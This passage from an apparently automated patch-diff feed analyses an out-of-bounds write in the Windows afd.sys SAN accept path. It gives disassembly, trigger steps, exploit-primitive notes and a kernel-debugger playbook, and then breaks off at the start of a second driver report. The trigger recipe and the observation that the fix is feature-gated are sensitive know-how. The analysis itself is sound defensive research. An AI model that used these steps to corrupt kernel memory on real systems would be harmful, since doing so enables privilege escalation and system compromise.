&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00753e7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AddressBuffer&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00753ea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r9&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00753ed&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AddressBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AddressOffset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MDL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;VA&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00753f0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;memmove&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Primary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TDI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c007539c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;memmove&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Secondary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;copies&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;also&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unclamped&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075432&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;secondary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;len&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c007543e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TDI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;secondary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075449&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;memmove&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c007546b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075471&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;TDI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;secondary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075480&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;memmove&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched (feature-gated minimum-capacity and clamp-to-capacity):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075317&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c007531a&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075610&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075320&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;g_Feature_232206649_59779869_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075327&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gate&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c007532c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c007532e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x1c007533a&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;disabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;min-size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075330&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xc&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NEW&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;12&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075334&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075610&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075433&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NEW&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c0075437&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmovb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;r14d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;min&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtain a handle:&lt;/strong&gt; Create an AFD SAN socket (endpoint type &lt;code&gt;0x1AFD&lt;/code&gt;) or open &lt;code&gt;\Device\Afd&lt;/code&gt; and drive it to the SAN endpoint state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bind and Listen:&lt;/strong&gt; Issue an &lt;code&gt;AfdBind&lt;/code&gt; IOCTL with a SAN transport address. The accepting socket's address buffer is set up with a specific capacity (&lt;code&gt;AddressBufferLength&lt;/code&gt; at &lt;code&gt;AcceptInfo+0x10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Issue Accept:&lt;/strong&gt; Post an accept on the listening SAN socket via &lt;code&gt;IOCTL_AFD_ACCEPT&lt;/code&gt; or &lt;code&gt;IOCTL_AFD_SUPER_ACCEPT&lt;/code&gt; through &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Connect with an oversized address:&lt;/strong&gt; Have a peer connect with a transport address whose length field (&lt;code&gt;*(word)(ConnData+0x14)&lt;/code&gt; or the secondary length at &lt;code&gt;+0x18&lt;/code&gt;) plus the fixed offset (8, 2, or 4) exceeds the accepting socket's &lt;code&gt;AddressBufferLength&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; writes past the end of the mapped destination address buffer. Depending on layout this results in corruption of adjacent memory in the mapped region or a fault when the write reaches unmapped pages.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; An out-of-bounds write whose size is derived from a peer-controlled 16-bit transport-address length (up to &lt;code&gt;0xFFFF&lt;/code&gt; plus a small constant), against the SAN accept address buffer reached through &lt;code&gt;MmMapLockedPages&lt;/code&gt;. The write extends past the intended destination within the mapped address region.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; Only through the SAN accept path (endpoint type &lt;code&gt;0x1AFD&lt;/code&gt;), which requires an active SAN provider. This is not the ordinary TCP/UDP accept path and is not reachable by a default unprivileged process without SAN support present.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delivered fix status:&lt;/strong&gt; The patched clamps are gated behind &lt;code&gt;EvaluateCurrentState(g_Feature_232206649_59779869)&lt;/code&gt;. When the feature is disabled the patched binary executes the same unbounded copies as the unpatched binary, so this is a staged (feature-flagged) rollout of the bounds check rather than an unconditionally active fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detection:&lt;/strong&gt; Driver Verifier Special Pool placed after the destination buffer will fault on the overwrite at the copy instruction, making the boundary violation directly observable.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No working privilege-escalation chain is demonstrated from these binaries; any claim of controlled kernel-object corruption, information disclosure, or code execution would require artifacts not present in this diff.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;7. Debugger Verification Playbook&lt;/h3&gt;
&lt;p&gt;Attach a kernel debugger to the unpatched build to confirm the boundary condition.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
  &lt;code&gt;text
  bp afd_unpatched!AfdSanAcceptCore+0x282   ; 0x1c007530e, peer length load
  bp afd_unpatched!AfdSanAcceptCore+0x364   ; 0x1c00753f0, primary memmove&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1c007530e&lt;/code&gt;: &lt;code&gt;wo(@r9+0x14)&lt;/code&gt; is the peer transport-address length; &lt;code&gt;dwo(@rbx+0x10)&lt;/code&gt; is the destination &lt;code&gt;AddressBufferLength&lt;/code&gt;. If &lt;code&gt;length + 8 &amp;gt; capacity&lt;/code&gt;, the copy will overflow.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1c00753f0&lt;/code&gt;: &lt;code&gt;r8d&lt;/code&gt; is the copy size (&lt;code&gt;length + 8&lt;/code&gt;), &lt;code&gt;rcx&lt;/code&gt; is the destination, &lt;code&gt;rdx&lt;/code&gt; is the source (&lt;code&gt;ConnData+0x10&lt;/code&gt;). &lt;code&gt;r8d&lt;/code&gt; strictly greater than &lt;code&gt;*(rbx+0x10)&lt;/code&gt; confirms the out-of-bounds write.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key instructions/offsets:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0075305&lt;/code&gt;/&lt;code&gt;0x1c0075308&lt;/code&gt;: the only capacity gate (&lt;code&gt;&amp;gt; 0&lt;/code&gt;, no upper bound).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0075313&lt;/code&gt;: unclamped size computation (&lt;code&gt;len + 8&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c00753f0&lt;/code&gt;, &lt;code&gt;0x1c007539c&lt;/code&gt;, &lt;code&gt;0x1c0075449&lt;/code&gt;, &lt;code&gt;0x1c0075480&lt;/code&gt;: the four copies.&lt;/li&gt;
&lt;li&gt;Patched equivalents: &lt;code&gt;0x1c0075330&lt;/code&gt; (&lt;code&gt;cmp [rbx+0x10], 0xc&lt;/code&gt;) and &lt;code&gt;0x1c0075433&lt;/code&gt;/&lt;code&gt;0x1c0075437&lt;/code&gt; (&lt;code&gt;cmp&lt;/code&gt; + &lt;code&gt;cmovb&lt;/code&gt; clamp), each reached only when the feature flag is enabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt;&lt;/strong&gt; (Sim: 0.8109, Security Relevant): Adds minimum-capacity (&lt;code&gt;&amp;gt;= 0xc&lt;/code&gt;) and clamp-to-capacity checks before each &lt;code&gt;memmove&lt;/code&gt; that copies SAN transport addresses. All new checks are gated on &lt;code&gt;EvaluateCurrentState(g_Feature_232206649_59779869)&lt;/code&gt;; with the flag disabled the unbounded copies of the unpatched build remain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSanConnectHandler&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9407, Behavioral): Retains the connection-data copy (&lt;code&gt;sub_1c000c900&lt;/code&gt;) unchanged; only register allocations differ. The copy is bounded by its own allocation, so no overflow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSocketTransferBegin&lt;/code&gt;&lt;/strong&gt; (Sim: 0.8896, Behavioral): Removed feature-gating around socket-state validation; state checks now applied unconditionally. Defense-in-depth, not an exploitable fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSocketTransferEnd&lt;/code&gt;&lt;/strong&gt; (Sim: 0.8896, Behavioral): Same pattern as &lt;code&gt;AfdSocketTransferBegin&lt;/code&gt;; state checks now unconditional.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdBind&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9682, Behavioral): Feature-flag stabilization; unbind-prevention calls during bind are now always made.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdGetInformation&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9768, Cosmetic): Register reallocation and stack-offset changes. No logic change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EvaluateCurrentState&lt;/code&gt;&lt;/strong&gt; (Sim: 0.1602, Cosmetic): Logic unchanged; offsets shifted by global data relocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EvaluateCurrentStateFromRegistry&lt;/code&gt;&lt;/strong&gt; (Sim: 0.255, Cosmetic): Logic unchanged; offset shifts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;QueryFeatureOverride&lt;/code&gt;&lt;/strong&gt; (Sim: 0.1061, Cosmetic): Logic unchanged; offset shifts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdCopyMdlChainToBufferAvoidMapping$filt$0&lt;/code&gt;&lt;/strong&gt; (Sim: 0.5905, Cosmetic): Exception filter stack-layout adjustment; no behavioral change.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;p&gt;No functions were added or removed in the patched binary.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the pattern is real and the direction is correct. The unpatched build copies peer-controlled transport-address lengths into the accept address buffer with only a &lt;code&gt;capacity != 0&lt;/code&gt; gate, and the patched build adds minimum-capacity and clamp-to-capacity checks at the same copies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature-gated:&lt;/strong&gt; The delivered clamps are conditional on &lt;code&gt;EvaluateCurrentState(g_Feature_232206649_59779869)&lt;/code&gt;. In this build the fix is a staged rollout; the unbounded path is retained for the disabled state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; SAN sockets are a specialized direct-access networking path (endpoint type &lt;code&gt;0x1AFD&lt;/code&gt;) requiring a SAN provider. This constrains practical reachability and is the main reason severity is Medium rather than High.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not demonstrated:&lt;/strong&gt; No exploit primitive beyond the out-of-bounds write itself is provable from these binaries; escalation to privilege gain is not established here.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>agrsm64.sys — Missing authorization on a world-reachable modem control device with unchecked IOCTL dispatch (CWE-862) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/agrsm64_89e52644-agrsm64-report-20260626-135107.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/agrsm64_89e52644-agrsm64-report-20260626-135107.html</id><summary type="html">&lt;p&gt;KB5075912&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;agrsm64_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;agrsm64_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.0026 (Effectively 0%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; Matched: 7, Changed: 5, Identical: 2, Unmatched (Either direction): 0.&lt;/li&gt;
